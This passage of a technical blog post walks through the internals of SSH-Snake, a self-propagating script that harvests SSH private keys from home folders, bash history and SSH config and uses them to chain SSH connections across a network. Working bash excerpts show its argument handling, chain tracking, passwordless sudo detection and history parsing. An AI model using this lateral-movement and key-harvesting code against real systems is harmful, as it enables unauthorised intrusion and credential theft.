<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">script</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
<span class="nv">hosts_chain</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">printf</span> <span class="s2">"%s"</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">-d</span><span class="si">)</span><span class="s2">"</span>
<span class="nv">ignore_list</span><span class="o">=</span><span class="s2">"</span><span class="nv">$3</span><span class="s2">"</span>
<span class="nv">this_dest</span><span class="o">=</span><span class="s2">"</span><span class="nv">$4</span><span class="s2">"</span>
<span class="nv">hostnames_chain</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">printf</span> <span class="s2">"%s"</span> <span class="s2">"</span><span class="nv">$5</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">-d</span><span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p>Let’s go through them one-by-one:</p>

<ol>
  <li>The base64-encoded script (similar to above),</li>
  <li>The so-called <code class="language-plaintext highlighter-rouge">hosts_chain</code> contains the destination (<code class="language-plaintext highlighter-rouge">user@host</code>) and key file which is currently being used.</li>
  <li>This contains a list of the destinations that have already been scanned or are currently being scanned.</li>
  <li>This contains the <code class="language-plaintext highlighter-rouge">user@host</code> which was passed in the command to <code class="language-plaintext highlighter-rouge">ssh</code> and is used to identify what command was executed from one system to another.</li>
  <li>Similar to <code class="language-plaintext highlighter-rouge">hosts_chain</code>, this contains the destination and key file which is currently being used. However, the format is <code class="language-plaintext highlighter-rouge">user@(host)</code>. This is the fifth argument instead of the third because it was added late in the script’s development, and I simply haven’t cleaned up the order (because they do not matter).</li>
</ol>

<p>We’ve already talked about 1, so let’s go through the rest.</p>

<hr />

<p>When the script finally gets to the execution of <code class="language-plaintext highlighter-rouge">ssh</code>, it passes a <code class="language-plaintext highlighter-rouge">hosts_chain</code> variable as the second argument. Two examples of this value are:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jrogers@10.0.0.1[/home/jrogers/.ssh/id_rsa]
jrogers@10.0.0.1[/home/jrogers/.ssh/id_rsa]-&gt;jrogers@10.0.0.2[/home/jrogers/.ssh/id_rsa]
</code></pre></div></div>

<p>When the script is running, it needs to communicate to the <strong>next</strong> destination who it is and which key is being used to connect to it (it=destination). So in the first example, the script passes this value via SSH, and the remote destination – assuming the connection succeeds of course – takes it and will print <code class="language-plaintext highlighter-rouge">jrogers@10.0.0.1[/home/jrogers/.ssh/id_rsa]-&gt;$THIS_LOCATION</code> where <code class="language-plaintext highlighter-rouge">$THIS_LOCATION</code> is the destination’s identifier (user@host). In the second location, it would print <code class="language-plaintext highlighter-rouge">jrogers@10.0.0.1[/home/jrogers/.ssh/id_rsa]-&gt;jrogers@10.0.0.2[/home/jrogers/.ssh/id_rsa]-&gt;$THIS_LOCATION</code>, indicating the exact chain of ssh execution.</p>

<p>This variable will grow and shrink in length as the script traverses the network: once it reaches a dead-end, it will naturally shrink since the scan is no longer taking place on that system.</p>

<hr />

<p>The <code class="language-plaintext highlighter-rouge">ignore_list</code> variable (the third positional argument) contains a list of all of the destinations that have already been scanned or are in the process of being scanned (that is: scanned for private keys and all destinations attempted to be connected to).</p>

<p>An example is <code class="language-plaintext highlighter-rouge">'|jrogers@10.22.0.5||jrogers@10.0.0.3|</code>. Another is <code class="language-plaintext highlighter-rouge">'|jrogers@10.22.0.5:10.22.0.4||jrogers@10.0.0.3:10.22.0.2|</code> (more on this format in <code class="language-plaintext highlighter-rouge">hostnames_chain</code>).</p>

<p>We can see how it’s used in a (slightly edited) the <code class="language-plaintext highlighter-rouge">check_for_recursion()</code> function:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>check_for_recursion<span class="o">()</span> <span class="o">{</span>
  <span class="o">[[</span> <span class="s2">"</span><span class="nv">$ignore_list</span><span class="s2">"</span> <span class="o">==</span> <span class="k">*</span><span class="s2">"|</span><span class="nv">$user</span><span class="s2">@</span><span class="nv">$current_hostnames_ip</span><span class="s2">|"</span><span class="k">*</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nb">exit </span>0

  ignore_list+<span class="o">=</span><span class="s2">"|</span><span class="nv">$user</span><span class="s2">@</span><span class="nv">$current_hostnames_ip</span><span class="s2">|"</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The function checks whether the current <code class="language-plaintext highlighter-rouge">$user@$current_hostnames_ip</code> (which you can guess the meaning of) is in the <code class="language-plaintext highlighter-rouge">ignore_list</code> already: if it is, it exits. If it isn’t, then add it: because this destination is now in the process of being scanned. This will be passed to <strong>future</strong> destinations <strong>from only this destination</strong>.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">this_dest</code> is a bit disingenuously named. It doesn’t really identify the address of the current location, but it does identify what the previous destination in the chain believes it is connecting to (or what it used to connect).</p>

<p>For example, if <code class="language-plaintext highlighter-rouge">ssh user@host</code> is executed by the script, the fourth positional argument will be <code class="language-plaintext highlighter-rouge">user@host</code>, meaning <em>that</em> destination will have <code class="language-plaintext highlighter-rouge">this_host=user@host</code>. Basically, it’s just a copy of what is being passed as the destination to <code class="language-plaintext highlighter-rouge">ssh</code>.</p>

<p>Why is it disingenuous? Well, <code class="language-plaintext highlighter-rouge">host</code> is not static. For example, some type of IP filtering may route the traffic to a different server, depending on the source address. My <code class="language-plaintext highlighter-rouge">10.0.0.5</code> isn’t necessarily the same as yours! Likewise, a system may have multiple IP addresses.</p>

<p>Anyway, this variable is used to reconstruct the command which the script actually used to SSH from one system to another. In fact, the <code class="language-plaintext highlighter-rouge">shortest-path-create-chain.py</code> tool uses this to reconstruct the command necessary to connect from system A to system B, since it needs to know exactly what command was executed (and thus which destination to call <code class="language-plaintext highlighter-rouge">ssh</code> with) on each individual system.</p>

<p>This is the value that gets appended to <code class="language-plaintext highlighter-rouge">hosts_chain</code> to build the <code class="language-plaintext highlighter-rouge">hosts_chain</code>, since <code class="language-plaintext highlighter-rouge">hosts_chain</code> identifies the path that the <code class="language-plaintext highlighter-rouge">ssh</code> executions took.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">hostnames_chain</code> is the same thing as <code class="language-plaintext highlighter-rouge">hosts_chain</code>, but a different format:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jrogers@<span class="o">(</span>10.0.0.1<span class="o">)[</span>/home/jrogers/.ssh/id_rsa]
jrogers@<span class="o">(</span>10.0.0.1<span class="o">)[</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.0.0.2<span class="o">)[</span>/home/jrogers/.ssh/id_rsa]
</code></pre></div></div>

<p>Why two versions? Well, this one actually identifies the <strong>system</strong> itself. Let’s see how <code class="language-plaintext highlighter-rouge">(10.0.0.1)</code> is generated here:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">while </span><span class="nv">IFS</span><span class="o">=</span> <span class="nb">read</span> <span class="nt">-r</span> current_ip<span class="p">;</span> <span class="k">do
      </span>current_ips[<span class="s2">"</span><span class="nv">$current_ip</span><span class="s2">"</span><span class="o">]=</span>1
    <span class="k">done</span> &lt; &lt;<span class="o">(</span><span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">hostname</span> <span class="nt">-I</span> 2&gt;/dev/null | <span class="nb">tr</span> <span class="s1">' '</span> <span class="s1">'\n'</span> | <span class="nb">grep</span> <span class="nt">-F</span> <span class="s1">'.'</span><span class="o">)</span>
    <span class="nv">current_hostnames_ip</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nv">IFS</span><span class="o">=</span>:<span class="p">;</span> <span class="nb">echo</span> <span class="s2">"</span><span class="k">${</span><span class="p">!current_ips[*]</span><span class="k">}</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hostname -I</code> is run – which lists all of the IP addresses on a system – and the IPv4 addresses are added to an associative array <code class="language-plaintext highlighter-rouge">current_ips</code>. Then, all of these addressed are concatenated with a <code class="language-plaintext highlighter-rouge">:</code> separator. This means that if a system has three IPv4 addresses, it will be associated with: <code class="language-plaintext highlighter-rouge">user@(10.0.0.1:10.0.0.2:10.0.0.3)</code>.</p>

<p>I know that this isn’t necessarily the most accurate indicator of a system of course: in a complex network, two systems may have the same IP addresses. We could use <a href="https://www.freedesktop.org/software/systemd/man/latest/machine-id.html">dbus’ machine-id</a>, but how standard is that? Maybe machine-id XOR current_hostnames_ip could be an improvement for the future.</p>

<hr />

<p>With each of the positional arguments explained, let’s talk about what happens when the script actually starts. First, a function <code class="language-plaintext highlighter-rouge">setup()</code> runs which calls all of the other starting functions:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  check_startup

  check_sudo
  check_sshkeygen
  check_ssh_options

  init_current_ips
  init_chains

  init_indent

  <span class="c"># Print the normal hosts_chain.</span>
  chained_print <span class="s2">""</span>
  <span class="c"># Print the hostnames_chain.</span>
  <span class="nb">printf</span> <span class="s2">"%s%s</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$indent</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$hostnames_chain</span><span class="s2">"</span>

  init_ignored <span class="c"># We deal with any ignores users, hosts, and dests after printing the destination information because we want to know how we got here, but we don't want to scan.</span>

  check_for_recursion <span class="c"># We check for recursion after printing where we are because we only want to avoid scanning the destination if it's already been fully scanned. We still want to list how we got here.</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">check_startup()</code> ensures that all of the required programs are installed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">required_commands</span><span class="o">=(</span><span class="s2">"ssh-keygen"</span> <span class="s2">"readlink"</span> <span class="s2">"getconf"</span> <span class="s2">"ssh"</span> <span class="s2">"basename"</span> <span class="s2">"base64"</span> <span class="s2">"getent"</span> <span class="s2">"awk"</span> <span class="s2">"sort"</span> <span class="s2">"grep"</span> <span class="s2">"tr"</span> <span class="s2">"find"</span> <span class="s2">"cat"</span> <span class="s2">"stdbuf"</span><span class="o">)</span> <span class="c"># "sudo" "hostname" "xargs" are all optional.</span>

  <span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="k">${</span><span class="nv">BASH_VERSINFO</span><span class="k">:-</span><span class="nv">0</span><span class="k">}</span><span class="s2">"</span> <span class="nt">-lt</span> 4 <span class="o">]]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">printf</span> <span class="s2">"INTERNAL_MSG: command not found: BASH%d: %s</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">BASH_VERSINFO</span><span class="p">[0]</span><span class="k">}</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">BASH_VERSINFO</span><span class="p">[*]</span><span class="k">}</span><span class="s2">"</span>
    <span class="nb">exit </span>1
  <span class="k">fi

  for </span>required_command <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">required_commands</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
    if</span> <span class="o">!</span> <span class="nb">command</span> <span class="nt">-v</span> <span class="s2">"</span><span class="nv">$required_command</span><span class="s2">"</span> <span class="o">&gt;</span>/dev/null 2&gt;&amp;1<span class="p">;</span> <span class="k">then
      </span><span class="nb">printf</span> <span class="s2">"INTERNAL_MSG: command not found: %s</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$required_command</span><span class="s2">"</span>
      <span class="nb">exit </span>1
    <span class="k">fi
  done</span>
</code></pre></div></div>

<p>If anything isn’t the script exits.</p>

<p>The <code class="language-plaintext highlighter-rouge">check_sudo()</code> function (if using sudo is enabled) checks whether pass-wordless sudo is available. If it is, it sets a variable to be used by every other program (<code class="language-plaintext highlighter-rouge">$s</code> is appended to every program that may require it; if it’s unset, no sudo is used). <code class="language-plaintext highlighter-rouge">check_sshkeygen()</code> and <code class="language-plaintext highlighter-rouge">check_ssh_options()</code> are necessary because the use of <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> differs depending on the version. Old versions of <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> do not support the <code class="language-plaintext highlighter-rouge">-E md5</code> option. Old versions of <code class="language-plaintext highlighter-rouge">ssh(1)</code> do not support the appending of <code class="language-plaintext highlighter-rouge">HostkeyAlgorithms</code> and <code class="language-plaintext highlighter-rouge">KexAlgorithms</code> options:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>check_sudo<span class="o">()</span> <span class="o">{</span>
  <span class="o">[[</span> <span class="nv">$use_sudo</span> <span class="nt">-eq</span> 1 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nb">command</span> <span class="nt">-v</span> <span class="nb">sudo</span> <span class="o">&gt;</span>/dev/null 2&gt;&amp;1 <span class="o">&amp;&amp;</span> <span class="nb">sudo</span> <span class="nt">-n</span> <span class="nb">true</span> <span class="o">&gt;</span>/dev/null 2&gt;&amp;1 <span class="o">&amp;&amp;</span> <span class="nv">s</span><span class="o">=</span><span class="s2">"sudo"</span>
<span class="o">}</span>

check_sshkeygen<span class="o">()</span> <span class="o">{</span>
  <span class="o">[[</span> <span class="s2">"</span><span class="si">$(</span>ssh-keygen <span class="nt">-E</span> 2&gt;&amp;1<span class="si">)</span><span class="s2">"</span> <span class="o">==</span> <span class="k">*</span><span class="s2">"unknown option"</span><span class="k">*</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nv">sshkeygen</span><span class="o">=(</span><span class="s2">"ssh-keygen"</span> <span class="s2">"-l"</span> <span class="s2">"-f"</span><span class="o">)</span>
<span class="o">}</span>

check_ssh_options<span class="o">()</span> <span class="o">{</span>
  <span class="o">[[</span> <span class="si">$(</span>ssh <span class="nt">-oHostkeyAlgorithms</span><span class="o">=</span>+ssh-rsa 2&gt;&amp;1<span class="si">)</span> <span class="o">=</span>~ Bad<span class="se">\ </span>protocol<span class="se">\ </span>2<span class="se">\ </span>host<span class="se">\ </span>key<span class="se">\ </span>algorithms|Bad<span class="se">\ </span>SSH2<span class="se">\ </span>KexAlgorithms <span class="o">]]</span> <span class="o">||</span> ssh_options+<span class="o">=(</span><span class="s2">"</span><span class="k">${</span><span class="nv">ssh_extra_options</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="o">)</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">init_current_ips()</code> initializes the various addresses of the current system. The aforementioned <code class="language-plaintext highlighter-rouge">hostname -I</code> method may fail (<code class="language-plaintext highlighter-rouge">-I</code> may not be supported on that system), so a fallback to using <code class="language-plaintext highlighter-rouge">$this_dest</code> is used. If that also fails (or is empty), it falls back to using <code class="language-plaintext highlighter-rouge">ip route get</code>. If even that fails, it falls back to ‘???’.</p>

<p><code class="language-plaintext highlighter-rouge">init_chains()</code> then takes the values and uses them to build both the <code class="language-plaintext highlighter-rouge">hosts_chain</code> and <code class="language-plaintext highlighter-rouge">hostnames_chain</code>. Nothing advanced:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>init_chains<span class="o">()</span> <span class="o">{</span>
  <span class="nv">hosts_chain</span><span class="o">=</span><span class="s2">"</span><span class="nv">$hosts_chain</span><span class="k">${</span><span class="nv">hosts_chain</span>:+-&gt;<span class="k">}</span><span class="nv">$user</span><span class="s2">@</span><span class="nv">$this_host</span><span class="s2">"</span>
  <span class="nv">hostnames_chain</span><span class="o">=</span><span class="s2">"</span><span class="nv">$hostnames_chain</span><span class="k">${</span><span class="nv">hostnames_chain</span>:+-&gt;<span class="k">}</span><span class="nv">$user</span><span class="s2">@(</span><span class="nv">$current_hostnames_ip</span><span class="s2">)"</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">init_indent()</code> determines how many spaces need to be added to the output from this system, based on the chain length. For every occurrence of <code class="language-plaintext highlighter-rouge">]-&gt;</code>, one space is added.</p>

<p><code class="language-plaintext highlighter-rouge">chained_print()</code> then finally prints the current system using the <code class="language-plaintext highlighter-rouge">hosts_chain</code> format. <code class="language-plaintext highlighter-rouge">printf "%s%s\n" "$indent" "$hostnames_chain"</code> prints the current location using the <code class="language-plaintext highlighter-rouge">hostnames_chain</code> format.</p>

<p><code class="language-plaintext highlighter-rouge">init_ignored()</code> takes any ignored pre-defined <code class="language-plaintext highlighter-rouge">ignored_hosts</code>, <code class="language-plaintext highlighter-rouge">ignored_users</code>, and <code class="language-plaintext highlighter-rouge">ignored_dests</code> and loads them into an internal associative array to be used later. It also double checks that the current system shouldn’t have been ignored (how did we get here?) This check is left <strong>after</strong> the chain is printed because although we don’t want to <em>scan</em> this host, we do want to know how we actually got here. In the future, it would probably be smart to alert that something strange is going on (we connected to an ignored system).</p>

<p>Finally, <code class="language-plaintext highlighter-rouge">check_for_recursion()</code> ensures that we haven’t already scanned this system or we are in the process of scanning it. This function uses the <code class="language-plaintext highlighter-rouge">hostnames_chain</code> format to ensure recursion hasn’t occurred – if it has, exit.</p>

<hr />

<p>After all of the <code class="language-plaintext highlighter-rouge">setup()</code> commands have finished executing – assuming the script hasn’t already canceled – any <a href="https://github.com/MegaManSec/SSH-Snake/blob/main/SETTINGS.md#custom_cmds">custom commands</a> are executed.</p>

<p>Next, <code class="language-plaintext highlighter-rouge">find_all()</code> is executed which calls all of the other functions for finding SSH private keys and possible destinations:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find_all<span class="o">()</span> <span class="o">{</span>
  retry_all_dests <span class="c"># If we're inside a retry_all_dests loop, no-op add_ssh_dest.</span>
  find_home_folders
  init_ssh_files

  find_ssh_keys
  find_ssh_keys_paths
  find_from_bash_history
  find_from_ssh_config

  <span class="o">((</span> <span class="k">${#</span><span class="nv">priv_keys</span><span class="p">[@]</span><span class="k">}</span> <span class="o">))</span> <span class="o">||</span> fin

  <span class="c"># None of the following strategies discover keys.</span>

  find_from_authorized_keys
  find_from_last
  find_from_known_hosts
  find_from_hosts
  find_arp_neighbours
  find_d_block
  find_from_prev_dest
  find_from_ignore_list

  find_from_hashed_known_hosts <span class="c"># Should always be last as it relies on ssh_hosts being filled.</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Here we see the true plug-and-play nature of the SSH-Snake. Remove any of these calls to functions (except <code class="language-plaintext highlighter-rouge">find_home_folders()</code> and <code class="language-plaintext highlighter-rouge">init_ssh_files()</code>), and the script will still work.</p>

<hr />

<p>The only really technically interesting discovery function here is <code class="language-plaintext highlighter-rouge">find_from_bash_history()</code>, so let’s talk about that.</p>

<p>bash history files are perhaps the most useful place to look for calls to <code class="language-plaintext highlighter-rouge">ssh(1)</code>, <code class="language-plaintext highlighter-rouge">scp(1)</code>, and even <code class="language-plaintext highlighter-rouge">rsync(1)</code>, and contain a wealth of knowledge in relation to private key locations and destinations. However, there are a bazillion different ways to use them, so how can we correctly parse each of the calls to those three programs in bash history files, ensuring that we can collecting usernames, hosts, destinations, and key files, some of which may or may not be included in the command? I went with: tokenization of each line in the <code class="language-plaintext highlighter-rouge">.bash_history</code> files.</p>

<p>First, the history file is searched for any calls to <code class="language-plaintext highlighter-rouge">ssh(1)</code>, <code class="language-plaintext highlighter-rouge">scp(1)</code>, or <code class="language-plaintext highlighter-rouge">rsync(1)</code>. The results are parsed line-by-line. If the line contains a destination in the format <code class="language-plaintext highlighter-rouge">$user@$host</code>, it is extracted. If the line does not contain the string <code class="language-plaintext highlighter-rouge">-i</code> (used to indicate a private key file), there’s nothing else to extract; the next line is processed.</p>

<p>If the line begins with <code class="language-plaintext highlighter-rouge">scp </code>, then search for <code class="language-plaintext highlighter-rouge">[^ ]+:</code>. Or in other words, given <code class="language-plaintext highlighter-rouge">scp file host:/</code> or <code class="language-plaintext highlighter-rouge">scp file user@host:/</code>, extract <code class="language-plaintext highlighter-rouge">host</code> or <code class="language-plaintext highlighter-rouge">user@host</code>. If there is no <code class="language-plaintext highlighter-rouge">user</code>, it is assumed the user is the same as the one whose home directory the bash history file is being read from. If there is no <code class="language-plaintext highlighter-rouge">-i</code> call, the next line is processed.</p>

<p>Now comes the fun part. We tokenize the whole line:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="nb">read</span> <span class="nt">-ra</span> tokens &lt; &lt;<span class="o">(</span><span class="nb">printf</span> <span class="s2">"%s"</span> <span class="s2">"</span><span class="nv">$bash_history_line</span><span class="s2">"</span><span class="o">)</span>
      <span class="k">for</span> <span class="o">((</span><span class="nv">i</span><span class="o">=</span>0<span class="p">;</span> i&lt;<span class="k">${#</span><span class="nv">tokens</span><span class="p">[@]</span><span class="k">}</span><span class="p">;</span> i++<span class="o">))</span><span class="p">;</span> <span class="k">do</span>
</code></pre></div></div>

<p>and start reading the line token-by-token. The script then performs various actions based on the tokens. For example:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$token</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"-i"</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
          </span><span class="nb">local </span>key_file

          <span class="k">if</span> <span class="o">[[</span> <span class="k">${#</span><span class="nv">token</span><span class="k">}</span> <span class="nt">-gt</span> 2 <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nv">key_file</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">token</span>:2<span class="k">}</span><span class="s2">"</span>
          <span class="k">elif</span> <span class="o">[[</span> <span class="k">$((</span>i+1<span class="k">))</span> <span class="nt">-lt</span> <span class="k">${#</span><span class="nv">tokens</span><span class="p">[@]</span><span class="k">}</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nv">key_file</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">tokens</span><span class="p">[</span><span class="nv">$i</span><span class="p">+1]</span><span class="k">}</span><span class="s2">"</span>
          <span class="k">else
            continue
          fi</span>
          <span class="c"># Depending on the line, it could be an absolute path, ~/ expansion, or relative like .ssh/id_rsa. check_potential_key_files will check all three.</span>
          check_potential_key_files <span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$home_folder</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nv">cached_ssh_key</span><span class="o">=</span><span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span>
          <span class="k">continue</span>
</code></pre></div></div>

<p>Here we see if the token is starts with <code class="language-plaintext highlighter-rouge">-i</code>, it means there is some key file following. <code class="language-plaintext highlighter-rouge">ssh(1)</code> supports the format of <code class="language-plaintext highlighter-rouge">-ikey_file</code> and <code class="language-plaintext highlighter-rouge">-i key_file</code>, so depending on the format, the key_file is extracted (if it’s the latter format, the <em>next</em> token is assumed to be the key. At the beginning of the loop there are is a check:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="o">[[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$cached_ssh_user</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$cached_ssh_host</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$bash_history_line</span><span class="s2">"</span> <span class="o">!=</span> <span class="k">*</span><span class="s2">" -i"</span><span class="k">*</span> <span class="o">||</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$cached_ssh_key</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nb">break</span>
        <span class="o">[[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$cached_ssh_host</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$cached_ssh_user</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="s2">"</span><span class="nv">$bash_history_line</span><span class="s2">"</span> <span class="o">!=</span> <span class="k">*</span><span class="s2">" -l"</span><span class="k">*</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$bash_history_line</span><span class="s2">"</span> <span class="o">!=</span> <span class="k">*</span><span class="s2">" -i"</span><span class="k">*</span> <span class="o">||</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$cached_ssh_key</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nb">break</span>

</code></pre></div></div>

<p>For the first line: basically, if an <code class="language-plaintext highlighter-rouge">ssh_user</code> has been found, and a <code class="language-plaintext highlighter-rouge">ssh_host</code> has been found, break from the token loop unless there is an <code class="language-plaintext highlighter-rouge">-i</code> somewhere in the bash history line OR the key file (meaning <code class="language-plaintext highlighter-rouge">-i</code> <em>is</em> in the line) has already been found. If this was <code class="language-plaintext highlighter-rouge">ssh -i key_file file host:/</code>, it would break from the token loop right now because all aspects which need to be parsed have been: the key, the user, and the host. Those cached values reset when every line is parsed.</p>

<p>But back to the token loop. Then we have this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="c"># ssh -luser host ; extract user</span>
        <span class="c"># ssh -l user host ; extract user</span>
        <span class="k">elif</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$token</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"-l"</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then 
          </span><span class="nb">local </span>ssh_user 

          <span class="k">if</span> <span class="o">[[</span> <span class="k">${#</span><span class="nv">token</span><span class="k">}</span> <span class="nt">-gt</span> 2 <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nv">ssh_user</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">token</span>:2<span class="k">}</span><span class="s2">"</span>
          <span class="k">elif</span> <span class="o">[[</span> <span class="k">$((</span>i+1<span class="k">))</span> <span class="nt">-lt</span> <span class="k">${#</span><span class="nv">tokens</span><span class="p">[@]</span><span class="k">}</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">tokens</span><span class="p">[</span><span class="nv">$i</span><span class="p">+1]</span><span class="k">}</span><span class="s2">"</span>
          <span class="k">else
            continue
          fi</span>
          <span class="o">[[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$cached_ssh_user</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> add_ssh_user <span class="s2">"</span><span class="nv">$ssh_user</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nv">cached_ssh_user</span><span class="o">=</span><span class="s2">"</span><span class="nv">$ssh_user</span><span class="s2">"</span>

</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ssh(1)</code> can be passed the <code class="language-plaintext highlighter-rouge">-l</code> flag which specifies the login name. Basically <code class="language-plaintext highlighter-rouge">ssh user@host</code> and <code class="language-plaintext highlighter-rouge">ssh -l user host</code> are equivalent. This will continue, and both the first and second lines of the beginning of the token loop come into play now: The first line asks: Has a username and host been found? If so, are we looking for a key? And the second line asks: “Has a host been found but no username? Are we not going to get a username from the <code class="language-plaintext highlighter-rouge">-l</code> flag? If so, are we looking for a key?</p>

<p>That second line is a bit complicated because if a username is not specified, it’s fine – <code class="language-plaintext highlighter-rouge">ssh host</code> just means the user is the username of the user running <code class="language-plaintext highlighter-rouge">ssh(1)</code>. But <code class="language-plaintext highlighter-rouge">ssh host -l user</code> is also valid – so we can’t default to <code class="language-plaintext highlighter-rouge">cached_ssh_user=$USER</code>. So basically, if a host has been found but a user hasn’t, and we don’t expect to get one from <code class="language-plaintext highlighter-rouge">-l</code>, it’s fine – and if we either aren’t expecting a private key from <code class="language-plaintext highlighter-rouge">-i</code> or we already have one, break from the token loop. After breaking, we’ll see that <code class="language-plaintext highlighter-rouge">cached_ssh_user</code> is empty, and set it to the appropriate user based on the bash history file’s location.</p>

<p>Continuing on, the token parser gets much more complicated:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>          <span class="o">[[</span> <span class="s2">"</span><span class="nv">$token</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"-"</span><span class="k">*</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">continue</span>
          <span class="c"># Should always be true since we continue on token = [ssh|scp|rsync]</span>
          <span class="o">[[</span> <span class="nv">$i</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">||</span> <span class="k">continue
          </span><span class="nb">local </span>prev_token
          <span class="nb">local </span>prev_prev_token

          <span class="c"># match on the PREVIOUS token.</span>
          <span class="nv">prev_token</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">tokens</span><span class="p">[</span><span class="nv">$i</span><span class="p">-1]</span><span class="k">}</span><span class="s2">"</span>
          <span class="o">[[</span> <span class="nv">$i</span> <span class="nt">-gt</span> 1 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nv">prev_prev_token</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">tokens</span><span class="p">[</span><span class="nv">$i</span><span class="p">-2]</span><span class="k">}</span><span class="s2">"</span>
